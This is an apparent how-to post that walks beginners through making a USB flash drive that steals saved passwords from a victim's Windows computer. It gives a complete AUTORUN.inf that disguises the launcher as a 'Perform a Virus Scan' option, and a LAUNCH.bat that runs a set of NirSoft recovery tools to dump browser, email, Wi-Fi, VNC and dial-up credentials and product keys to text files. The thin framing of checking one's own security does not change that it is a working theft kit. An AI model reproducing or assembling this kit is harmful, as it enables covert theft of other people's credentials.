Create A USB Drive That Steals Password

Slacking on password security can have horrific consequences. Even so, it's easy to lose track of how many are vulnerable. With just a couple of files, you can steal passwords from nearly everywhere they're stored on a victim's Windows PC, including your own, just to see how secure they really are.

A good rule of thumb is that if you've stored a password on your computer, you've made it possible for someone else to steal with something as simple as a USB flash drive and a one-click script. This includes everything from wireless network keys to passwords you've saved in your browser. 9jacybercorps has a great guide for the more experienced user, but we'll break it down for beginners here:

This tutorial will walk you through setting up a USB flash drive to steal the saved passwords on a computer.

1.  open notepad/wordpad
   
   type:
   
   [autorun]
   open=launch.bat
   ACTION= Perform a Virus Scan
   
   save this as AUTORUN.inf
2. open a new notepad/wordpad document
   
   type:
   
   start mspass.exe /stext mspass.txt
   
   start mailpv.exe /stext mailpv.txt
   
   start iepv.exe /stext iepv.txt
   
   start pspv.exe /stext pspv.txt
   
   start PasswordFox.exe /stext passwordfox.txt
   
   start OperaPassView.exe /stext OperaPassView.txt
   
   start ChromePass.exe /stext ChromePass.txt
   
   start Dialupass.exe /stext Dialupass.txt
   
   start netpass.exe /stext netpass.txt
   
   start WirelessKeyView.exe /stext WirelessKeyView.txt
   
   start BulletsPassView.exe /stext BulletsPassView.txt
   
   start VNCPassView.exe /stext VNCPassView.txt
   
   start OpenedFilesView.exe /stext OpenedFilesView.txt
   
   start ProduKey.exe /stext ProduKey.txt
   
   start USBDeview.exe /stext USBDeview.txt
   
   save this as LAUNCH.bat
3. copy the autorun and launch file to your USB
4. go to http://www.nirsoft.net/ and download the programs named in step 2
5. extract the files you downloaded to your desktop and copy all the .exe files to your USB
6. remove and re-insert your USB
7. click on the option perform a virus scan
   (this is an exemple, if you want it to say something else go to the autorun file and change it ;) )
8. go to my computer  USB DRIVE and open it
   
   
   you will now see some text files, if you open them you will see usernames and passwords
   
   
   NOTICE: this only recovers passwords that have once been saved on your computer
